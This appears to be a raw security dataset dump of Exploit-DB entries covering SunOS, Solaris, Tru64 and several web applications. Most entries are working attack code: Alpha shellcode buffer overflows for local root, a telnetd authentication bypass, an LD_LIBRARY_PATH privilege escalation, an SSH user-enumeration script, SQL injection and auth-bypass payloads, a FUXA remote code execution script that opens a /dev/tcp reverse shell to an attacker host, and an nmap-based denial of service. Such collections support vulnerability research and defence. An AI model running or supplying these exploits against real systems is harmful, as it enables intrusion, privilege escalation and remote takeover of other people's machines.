deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19044
Description: SunOS 4.1.3 - LD_LIBRARY_PATH / LD_OPTIONS
Type: remote
Platform: solaris
Date: 1992-05-27
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/43/info

There exists a vulnerability involving environment variables and setuid/setgid programs under SunOS 4.0 and higher.

A dynamically-linked program that is invoked by a setuid/setgid program has access to the caller's LD_* environmental variables if the setuid/setgid program sets the real and effective UIDs to be equal and the real and effective GIDs to be equal before the dynamically-linked program is executed. A vulnerability exists if the UIDs and GIDs are not equal to those of the user that invoked the setuid/setgid program.

In particular, SunOS /usr/lib/sendmail, /usr/bin/login, /usr/bin/su, and /usr/5bin/su are vulnerable to this problem.

In-house and third-party software can also be impacted by this vulnerability. For example, the current versions of rnews, sudo, smount, and npasswd are known to be vulnerable under SunOS. 

This or similar vulnerabilities have been found in other unix operating systems.

It seems Sun's solution is to call the dynamicly linked programs without both the real and effective uid and gid being the same. This is rather subobtimal as third party programs are left vulnerable. A better solutio is to mark a process as having changed it's uid or gid within the kernel. The dynamic linker can then query this information and use the LD_* variables depending on the results.

$ mkdir /tmp/mylib
$ cp libevil.so /tmp/mylib
$ export LD_LIBRARY_PATH=/tmp/mylib
$ /bin/login
#
Exploit-DB #3293
Description: SunOS 5.10/5.11 in.TelnetD - Remote Authentication Bypass
Type: remote
Platform: solaris
Date: 2007-02-11
Author: kingcope

Exploit:
#!/bin/sh
# CLASSIFIED CONFIDENTIAL SOURCE MATERIAL
#
# *********************ATTENTION********************************
# THIS CODE _MUST NOT_ BE DISCLOSED TO ANY THIRD PARTIES
# (C) COPYRIGHT Kingcope, 2007
#
################################################################
echo ""
echo "SunOS 5.10/5.11 in.telnetd Remote Exploit by Kingcope kingcope@gmx.net"
if [ $# -ne 2 ]; then
echo "./sunos <host> <account>"
echo "./sunos localhost bin"
exit
fi
echo ""
echo "ALEX ALEX"
echo ""
telnet -l"-f$2" $1

# milw0rm.com [2007-02-11]
Exploit-DB #19040
Description: SunView (SunOS 4.1.1) - 'selection_svc' Remote File Read
Type: remote
Platform: solaris
Date: 1990-08-14
Author: Peter Shipley

Exploit:
Source:  https://www.securityfocus.com/bid/8/info

On Sun3 and Sun4 systems, a remote system can read any file that is readable to the user running SunView. On the 386i, a remote system can read any file on the workstation running SunView regardless of protections. Note that if root runs Sunview, all files are potentially accessible by a remote system.

Sunview does not kill the selection_svc process when the user quits from Sunview. Thus, unless the process is killed, remote systems can still read files that were readable to the last user that ran Sunview. Under these circumstances, once a user has run Sunview, start using another window system (such as X11), or even logoff, but still have files accessible to remote systems.

/* SELN_HOLD_FILE
 * For use where someone has a selection_svc runnning as them, after an
 * invocation of suntools:
 *
 * % cat their_private_file
 * their_private_file: Permission denied
 * % cc seln_hold_file.c -o seln_hold_file -lsuntool -lsunwindow
 * % ./seln_hold_file their_private_file
 * % get_selection 2
 * < contents of their_private_file >
 * %
 */

#include <stdio.h>
#include <sys/types.h>
#include <suntool/seln.h>

main(argc, argv)
  int argc;
  char *argv[];
{
  Seln_result     ret;

  if (argc != 2) {
    (void) fprintf(stderr, "usage: seln_grab file1\n");
    exit(1);
  }

  ret = seln_hold_file(SELN_SECONDARY, argv[1]);
  seln_dump_result(stdout, &ret);
  printf("\n");
}

/*
 * Local variables:
 * compile-command: "cc -sun3 -Bstatic -o seln_hold_file seln_hold_file.c -lsun
tool -lsunwindow"
 * end:
 *
 * Static required because _mem_ops not included in ld.so
 */
Exploit-DB #3273
Description: HP Tru64 Alpha OSF1 5.1 - 'ps' Information Leak
Type: local
Platform: tru64
Date: 2007-02-06
Author: bunker

Exploit:
#!/bin/ksh
#
# osf1tru64ps.ksh exploit
# Tested on OSF1 V5.1 1885 alpha
#
# ps executable - information leak
# 
# Author: Andrea "bunker" Purificato
#         http://rawlab.mindcreations.com
#
# the "ps" command (also /usr/ucb/ps) on HP OSF1 v5.1 Alpha,
# developed without an eye to security, allows unprivileged users to see
# values of all processes environment variables.
#
# Useful during information discovery.
#
# fake_uname> uname -a           
# OSF1 fake_uname V5.1 1885 alpha
# 
# fake_uname> id
# uid=301(fake_user) gid=216(fake_gid)
#
# fake_uname> /usr/ucb/ps auxeww 
# USER            PID %CPU %MEM   VSZ  RSS TTY      S    STARTED         TIME COMMAND
# ...
# ...
# root        1038875  0.0  0.0 2.02M 184K ??       I    11:39:03     0:00.01 sleep 55 MANPATH=/usr/share/man:/usr/dt/share/man:/usr/local/man:/usr/opt/networker/man:/usr/local/openssh/bin PATH=/sbin:/bin:/usr/bin:/usr/sbin:/sbin:/bin:/usr/bin:/usr/sbin:/sbin:/usr/sbin:/usr/bin:/usr/ccs/bin:/usr/bin/X11:/usr/local:/usr/local/openssh/bin:/usr/opt/networker/bin LOGNAME=root USER=root SHELL=/bin/ksh HOME=/ TERM=vt100 PWD=/opt/AmosLite_Client...
# ...
# ...
# root        1009950  0.0  0.0 2.73M 840K ??       I <    Sep 30     0:31.22 /usr/sbin/auditd -l /LOG_SOURCE/audit/auditlog HOME=/ LOGNAME=root MANPATH=/usr/share/man:/usr/dt/share/man:/usr/local/man:/usr/opt/networker/man:/usr/local/openssh/bin PATH=/sbin:/usr/sbin:/usr/bin:/usr/ccs/bin:/usr/bin/X11:/usr/local:/usr/local/openssh/bin:/usr/opt/networker/bin PWD=/var/audit SHELL=/bin/ksh TERM=xterm USER=root...
# ...
# ...
# oracle       541177  0.0  0.0 28.2M 3.4M ??       S      Sep 01     0:07.00 /app/oracle/product/9.2.0/Apache/Apache/bin/httpd -d /app/oracle/product/9.2.0/Apache/Apache HOME=/app/oracle LD_LIBRARY_PATH=/app/oracle/product/9.2.0/lib:/app/oracle/product/9.2.0/lib:/app/oracle/product/9.2.0/obackup/lib: LOGNAME=oracle NLS_LANG=AMERICAN_AMERICA.WE8MSWIN1252 OBK_HOME=/app/oracle/product/9.2.0/obackup ORACLE_BACKUP=/app/oracle/BACKUP ORACLE_BASE=/app/oracle ORACLE_DOC=/app/oracle/product/9.2.0/oradoc ORACLE_HOME=/app/oracle/product/9.2.0 ORACLE_PATH=/app/oracle/product/9.2.0/oracle ORACLE_SID=...
# ...
# ...
#
echo "Tru64 Alpha OSF1 V5.1 1885  - ps information leak"
echo "Andrea \"bunker\" Purificato - http://rawlab.mindcreations.com"
echo ""
echo "Default ps executable: "
ps auxewww

echo "/usr/ucb/ps executable: "
/usr/ucb/ps auxewww

# milw0rm.com [2007-02-06]
Exploit-DB #281
Description: Tru64 UNIX 4.0g - '/usr/bin/at' Local Privilege Escalation
Type: local
Platform: tru64
Date: 2001-03-02
Author: Cody Tubbs

Exploit:
/*
 * Tru64 UNIX 4.0g (JAVA) (/usr/bin/at) local root exploit. [ALPHA]
 *
 * Author: Cody Tubbs (loophole of hhp).
 * Site:   www.hhp-programming.net
 * Email:  pigspigs@yahoo.com
 * Date:   2/1/2000.
 *
 * I made this without access to gdb, It's untested...
 * may require modification, may require deletion, heh.
 *
 * Note: executable_stack must be on.
 */

#include <stdio.h>
#include <string.h>

#define OFFSET 0
#define ALLIGN 0
#define NOP    "\x1f\x04\xff\x47"
#define DBUF   8000 // 5604+4+528? Manipulate if needed.

char shellcode[]= // Alpha setuid(0);+ execl("/bin/sh","sh",0);
 "\x30\x15\xd9\x43\x11\x74\xf0\x47\x12\x14\x02\x42\xfc\xff\x32"
 "\xb2\x12\x94\x09\x42\xfc\xff\x32\xb2\xff\x47\x3f\x26\x1f\x04"
 "\x31\x22\xfc\xff\x30\xb2\xf7\xff\x1f\xd2\x10\x04\xff\x47\x11"
 "\x14\xe3\x43\x20\x35\x20\x42\xff\xff\xff\xff"
 "\x30\x15\xd9\x43\x31\x15\xd8\x43\x12\x04\xff\x47\x40\xff\x1e"
 "\xb6\x48\xff\xfe\xb7\x98\xff\x7f\x26\xd0\x8c\x73\x22\x13\x05"
 "\xf3\x47\x3c\xff\x7e\xb2\x69\x6e\x7f\x26\x2f\x62\x73\x22\x38"
 "\xff\x7e\xb2\x13\x94\xe7\x43\x20\x35\x60\x42\xff\xff\xff\xff";
 //Taeho Oh shellcode.

//long get_sp(void){ __asm__("bis $31,$30,$0");}

void usage(char *arg) {
  fprintf(stderr, "\nTru64 UNIX 4.0g (JAVA) (/usr/bin/at)");
  fprintf(stderr, " local root exploit. [ALPHA] \n";
  fprintf(stderr, "Author: Cody Tubbs (loophole of hhp)\n\n");
  fprintf(stderr, "Usage: %s <offset> [allign(0..3)]\n", arg);
  fprintf(stderr, "Examp: %s 0\n", arg);
  fprintf(stderr, "Examp: %s 0 1\n", arg);
  exit(1);
}

main(int argc, char **argv){
 char eipeip[DBUF], buffer[4096], heh[DBUF+1];
 char *nop;
 int i, offset, allign;
 long address;

 if(argc < 2){
  usage(argv[0]);
 }

 if(argc>1){offset=atoi(argv[1]);}else{offset=OFFSET;}
 if(argc>2){allign=atoi(argv[2]);}else{allign=ALLIGN;}

//address = get_sp() - offset;
address = i& - offset;

 if(allign>0){for(i=0;i<DBUF;i++){eipeip[i]=0x69;}}
 for(i=allign;i<DBUF;i+=4){*(long *)&eipeip[i]=address;}

 nop=NOP;

 for(i=0;i<(4096-strlen(shellcode)-strlen(eipeip));i++){
  //buffer[i]=nop[i%4];
  buffer[i]   = 0x1f;
  buffer[++i] = 0x04;
  buffer[++i] = 0xff;
  buffer[++i] = 0x47;
 }

 memcpy(buffer+i,shellcode,strlen(shellcode));
 memcpy(buffer,"ATEX=",5); 
 putenv(buffer);

 fprintf(stderr,"Return address %#x, offset: %d.\n",address,offset);
 execlp("/usr/bin/at","at", eipeip, 0);
}


// milw0rm.com [2001-03-02]
Exploit-DB #1625
Description: Tru64 UNIX 5.0 (Rev. 910) - edauth NLSPATH Buffer Overflow
Type: local
Platform: tru64
Date: 2006-03-29
Author: Kevin Finisterre

Exploit:
#!/usr/bin/perl -w
#
# based on work by stripey from back in the day
# kf_lists[at]digitalmunition[dot]com
#
# http://www.digitalmunition.com

$sc .= "\x30\x15\xd9\x43\x11\x74\xf0\x47\x12\x14\x02\x42";
$sc .= "\xfc\xff\x32\xb2\x12\x94\x09\x42\xfc\xff\x32\xb2";
$sc .= "\xff\x47\x3f\x26\x1f\x04\x31\x22\xfc\xff\x30\xb2";
$sc .= "\xf7\xff\x1f\xd2\x10\x04\xff\x47\x11\x14\xe3\x43";
$sc .= "\x20\x35\x20\x42\xff\xff\xff\xff\x30\x15\xd9\x43";
$sc .= "\x31\x15\xd8\x43\x12\x04\xff\x47\x40\xff\x1e\xb6";
$sc .= "\x48\xff\xfe\xb7\x98\xff\x7f\x26\xd0\x8c\x73\x22";
$sc .= "\x13\x05\xf3\x47\x3c\xff\x7e\xb2\x69\x6e\x7f\x26";
$sc .= "\x2f\x62\x73\x22\x38\xff\x7e\xb2\x13\x94\xe7\x43";
$sc .= "\x20\x35\x60\x42\xff\xff\xff\xff";

print "Shellcode is " . length($sc) . " bytes long \n";

$tlen = (1024-(length($sc)))/4;

$ENV{"NLSPATH"} = "";
system("ulimit -c 10000");
# 0x140010200 Compaq Tru64 UNIX V5.0 (Rev. 910) (TruNastyWhore.localdomain) 
# 0x140012002
$ret = "\x02\x20\x01\x40\x01";
$ENV{"NLSPATH"}= pack("l",0x47ff041f) x ($tlen) . $sc . $ret;
$heapgrow = "B" x 10000 . " " .  "C" x 10000 . "D" x 10000;
exec("/usr/tcb/bin/edauth -df DMr0x.$heapgrow");

# milw0rm.com [2006-03-29]
Exploit-DB #1624
Description: Tru64 UNIX 5.0 (Rev. 910) - rdist NLSPATH Buffer Overflow
Type: local
Platform: tru64
Date: 2006-03-29
Author: Kevin Finisterre

Exploit:
#!/usr/bin/perl -w
#
# based on work by stripey from back in the day
# kf_lists[at]digitalmunition[dot]com
#
# http://www.digitalmunition.com

$sc .= "\x30\x15\xd9\x43\x11\x74\xf0\x47\x12\x14\x02\x42";
$sc .= "\xfc\xff\x32\xb2\x12\x94\x09\x42\xfc\xff\x32\xb2";
$sc .= "\xff\x47\x3f\x26\x1f\x04\x31\x22\xfc\xff\x30\xb2";
$sc .= "\xf7\xff\x1f\xd2\x10\x04\xff\x47\x11\x14\xe3\x43";
$sc .= "\x20\x35\x20\x42\xff\xff\xff\xff\x30\x15\xd9\x43";
$sc .= "\x31\x15\xd8\x43\x12\x04\xff\x47\x40\xff\x1e\xb6";
$sc .= "\x48\xff\xfe\xb7\x98\xff\x7f\x26\xd0\x8c\x73\x22";
$sc .= "\x13\x05\xf3\x47\x3c\xff\x7e\xb2\x69\x6e\x7f\x26";
$sc .= "\x2f\x62\x73\x22\x38\xff\x7e\xb2\x13\x94\xe7\x43";
$sc .= "\x20\x35\x60\x42\xff\xff\xff\xff";

print "Shellcode is " . length($sc) . " bytes long \n";

$tlen = (1024-(length($sc)))/4;

$ENV{"NLSPATH"} = "";
system("ulimit -c 10000");
# 0x14001019a Compaq Tru64 UNIX V5.0 (Rev. 910) (TruNastyWhore.localdomain) 
$ret = "\x9a\x01\x01\x40\x01";
$ENV{"NLSPATH"}= pack("l",0x47ff041f) x ($tlen) . $sc . $ret;
exec("/usr/bin/rdist -c DMr0x");

# milw0rm.com [2006-03-29]
Exploit-DB #4032
Description: HP Tru64 - Remote Secure Shell User Enumeration
Type: remote
Platform: tru64
Date: 2007-06-04
Author: bunker

Exploit:
#!/usr/bin/perl
use warnings;
use strict;
#
# Remember: you need to accept ssh key first!
#
use Tie::File;
use Fcntl 'O_RDONLY';
use Expect;
use Time::HiRes qw(gettimeofday);
#
# tru64-sshenum.pl
# HP Tru64 Remote Secure Shell user enumeration exploit (CVE-2007-2791).
#
# Author: Andrea "bunker" Purificato
# http://rawlab.mindcreations.com
#
# The following supported software versions are affected:
#
#  HP Tru64 UNIX v5.1B-4
#  HP Tru64 UNIX v5.1B-3
# 
# The Hewlett-Packard Company thanks Andrea Purificato for reporting this 
# vulnerability to security-alert@hp.com
#
# References: 
#  - http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?lang=en&cc=us&objectID=c01007552
#  - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2791
#  - http://rawlab.mindcreations.com/codes/exp/nix/tru64-sshenum.pl
#

my $verbose = undef;
my $port    = 22;
my $timeout = 10;

print <<BANNER;
$0 - HP Tru64 Remote Secure Shell user enumeration exploit

 Andrea "bunker" Purificato - http://rawlab.mindcreations.com
 37F1 A7A1 BB94 89DB A920  3105 9F74 7349 AF4C BFA2 

BANNER

print "Usage: $0 <target> <userlist>\n" and exit(-1) if ($#ARGV<1);

my $target   = $ARGV[0];
my $wordlist = $ARGV[1];
chomp (my $ssh  = `which ssh`);
chomp (my $tel  = `which telnet`);
my %htimes; my @atimes;

print "[+] Grabbing banner...\n";
my $exp = Expect->spawn("$tel -l fake $target $port") 
	or die "Cannot spawn $tel: $!\n";;
#$exp->log_stdout(0);
$exp->expect(5,['SSH|ssh'=>sub{$exp->send(".\n")}]);
$exp->close();
print "[+] Done!\n\n";

sub timing {
    my $user = shift @_;
    my $t0 = gettimeofday;
    my $t1 = undef;
    my $exp = Expect->spawn("$ssh -l $user -p $port $target") 
	or die "Cannot spawn $ssh: $!\n";;
    $exp->log_stdout(0);
    $exp->expect($timeout,['assword:'=>sub{$exp->send(".\n")}]);
    $exp->expect(undef,   [ qr'assword|denied'=>sub{$t1=gettimeofday}]);
    $t1 = gettimeofday unless ($t1);
    $exp->close();
    return sprintf "%0.3f", ($t1-$t0);
}

tie my @wlst_ln, 'Tie::File', "$wordlist", mode=>O_RDONLY
    or die "$wordlist: $!";

print "[+] Started, please wait: ";
for (@wlst_ln) {
    print "($_ dup?)" if ($htimes{$_});
    my $ret = timing($_);
    $htimes{$_} = $ret unless ($htimes{$_});
    push @atimes, $ret;
    unless ($verbose) { print "." }
    else { print "$_\t\t$ret\n" }
}
print " Done!\n\n";

# 
# Do whatever you want with time values:
# 
# (sorted by values)
# 
foreach my $key (sort {$htimes{$b}<=>$htimes{$a}} keys %htimes) {
     print "$key:\t\t$htimes{$key}\n";
}
exit(0);

# milw0rm.com [2007-06-04]
Exploit-DB #50008
Description: Client Management System 1.1 - 'Search' SQL Injection
Type: webapps
Platform: tru64
Date: 2021-06-15
Author: BHAVESH KAUL

Exploit:
# Exploit Title: Client Management System 1.1 - 'Search' SQL Injection
# Date: 14 June 2021
# Exploit Author: BHAVESH KAUL
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/client-management-system-using-php-mysql/
# Version: 1.1
# Tested on: Server: XAMPP

# Description #

Client Management System 1.1 is vulnerable to SQL Injection in the admin panel 'search invoices' field because of insufficient user supplied data sanitization.

# Proof of Concept (PoC) : Exploit #

1) Goto: http://localhost/clientms/admin/index.php
2) Login as admin using test credentials: admin/Test@123
3) Goto: http://localhost/clientms/admin/search-invoices.php
4) Enter the following payload in the search field: ' OR 'x'='x
5) All results are showed instead of none ==> SQL Injection success
Exploit-DB #51354
Description: ever gauzy v0.281.9 - JWT weak HMAC secret
Type: webapps
Platform: typescript
Date: 2023-04-10
Author: nu11secur1ty

Exploit:
## Exploit Title: ever gauzy v0.281.9 - JWT weak HMAC secret
## Author: nu11secur1ty
## Date: 04.08.2023
## Vendor: https://gauzy.co/
## Software: https://github.com/ever-co/ever-gauzy/releases/tag/v0.281.9
## Reference: https://portswigger.net/kb/issues/00200903_jwt-weak-hmac-secret

## Description:
It was, detected a JWT signed using a well-known `HMAC secret key`.
The key used which was found was a secret Key.
The user can find a secret key authentication while sending normal
post requests.
After he found the `Authorization: Bearer` key he can use it to authenticate
and he can be sending a very malicious POST request, it depends on the
scenario.

STATUS:
[+]Issue:  	  JWT weak HMAC secret
[+]Severity:  High

[+]Exploit:
```GET
GET /api/auth/authenticated HTTP/2
Host: apidemo.gauzy.co
Sec-Ch-Ua: "Not:A-Brand";v="99", "Chromium";v="112"
Accept: application/json, text/plain, */*
Language: en
Sec-Ch-Ua-Mobile: ?0
Authorization: Bearer
[CREDENTIAL_REDACTED]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50
Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://demo.gauzy.co
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.gauzy.co/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 76

{
	"email":"local.admin@ever.co",
	"password": "adminrrrrrrrrrrrrrrrrrrrrrHACKED"
}

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/gauzy.co/2023/ever-gauzy-v0.281.9)

## Proof and Exploit:
[href](https://streamable.com/afsmee)

## Time spend:
03:37:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>


-- 
System Administrator - Infrast
Exploit-DB #52001
Description: Flowise 1.6.5 - Authentication Bypass
Type: webapps
Platform: typescript
Date: 2024-04-21
Author: Maerifat Majeed

Exploit:
# Exploit Title: Flowise 1.6.5 - Authentication Bypass
# Date: 17-April-2024
# Exploit Author: Maerifat Majeed
# Vendor Homepage: https://flowiseai.com/
# Software Link: https://github.com/FlowiseAI/Flowise/releases
# Version: 1.6.5
# Tested on: mac-os
# CVE : CVE-2024-31621

The flowise version <= 1.6.5 is vulnerable to authentication bypass
vulnerability.
The code snippet

this.app.use((req, res, next) => {
>                 if (req.url.includes('/api/v1/')) {
>                     whitelistURLs.some((url) => req.url.includes(url)) ?
> next() : basicAuthMiddleware(req, res, next)
>                 } else next()
>             })


puts authentication middleware for all the endpoints with path /api/v1
except a few whitelisted endpoints. But the code does check for the case
sensitivity hence only checks for lowercase /api/v1 . Anyone modifying the
endpoints to uppercase like /API/V1 can bypass the authentication.

*POC:*
curl http://localhost:3000/Api/v1/credentials
For seamless authentication bypass. Use burpsuite feature Match and replace
rules in proxy settings. Add rule Request first line api/v1 ==> API/V1
Exploit-DB #51385
Description: FUXA V.1.1.13-1186 - Unauthenticated Remote Code Execution (RCE)
Type: webapps
Platform: typescript
Date: 2023-04-20
Author: Rodolfo Mariano

Exploit:
# Exploit Title: FUXA V.1.1.13-1186- Unauthenticated Remote Code Execution (RCE)
# Date: 18/04/2023
# Exploit Author: Rodolfo Mariano
# Vendor Homepage: https://github.com/frangoteam/FUXA
# Version: FUXA V.1.1.13-1186 (current)

from argparse import RawTextHelpFormatter
import argparse, sys, threading, requests

def main(rhost, rport, lhost, lport):
    url = "http://"+rhost+":"+rport+"/api/runscript"
    payload = {
        "headers":
            {
                "normalizedNames":{},
                "lazyUpdate": "null"
            },
            "params":{
                "script":{
                    "parameters":[
                    {
                    "name":"ok",
                    "type":"tagid",
                    "value":""
                    }
                    ],
                    "mode":"",
                    "id":"",
                    "test":"true",
                    "name":"ok",
                    "outputId":"",
                    "code":"require('child_process').exec('/bin/bash -c \"/bin/sh -i >& /dev/tcp/%s/%s 0>&1\"')" % (lhost,lport)
                }
            }
        }
    response = requests.post(url, json=payload)
args = None
parser = argparse.ArgumentParser(formatter_class=RawTextHelpFormatter, usage="python exploit.py --rhosts <ip> --rport <rport>--lport <port>")
parser.add_argument('--rhost', dest='rhost', action='store', type=str, help='insert an rhost')
parser.add_argument('--rport', dest='rport', action='store', type=str, help='insert an rport', default=1881)
parser.add_argument('--lhost', dest='lhost', action='store', type=str, help='insert an lhost')
parser.add_argument('--lport', dest='lport', action='store', type=str, help='insert an lport')

args=parser.parse_args()
main(args.rhost, args.rport, args.lhost, args.lport)
Exploit-DB #51073
Description: Grafana <=6.2.4 - HTML Injection
Type: webapps
Platform: typescript
Date: 2023-03-27
Author: SimranJeet Singh

Exploit:
# Exploit Title: Grafana <=6.2.4 - HTML Injection
# Date: 30-06-2019
# Exploit Author: SimranJeet Singh
# Vendor Homepage: https://grafana.com/
# Software Link: https://grafana.com/grafana/download/6.2.4
# Version: 6.2.4
# CVE : CVE-2019-13068

The uri "public/app/features/panel/panel_ctrl.ts" in Grafana before 6.2.5 allows HTML Injection in panel drilldown links (via the Title or url field)

Payload used - <img src="[image_URL]"><h1>Hello</h1>
Exploit-DB #19817
Description: Data General DG/UX 5.4 - inetd Service Exhaustion Denial of Service
Type: dos
Platform: ultrix
Date: 2000-03-16
Author: The Unicorn

Exploit:
source: https://www.securityfocus.com/bid/1071/info

A Denial of service (DoS) attack is possible with the default version of inetd distributed with Data General's DG/UX operating system. By performing a scan utilizing nmap's OS detection option (-O), the inetd daemon is put in a state where it will no longer spawn new services without being restarted.

nmap -O -p 21 <target>
or
nmap -v -O -sS -p1-1023 <target>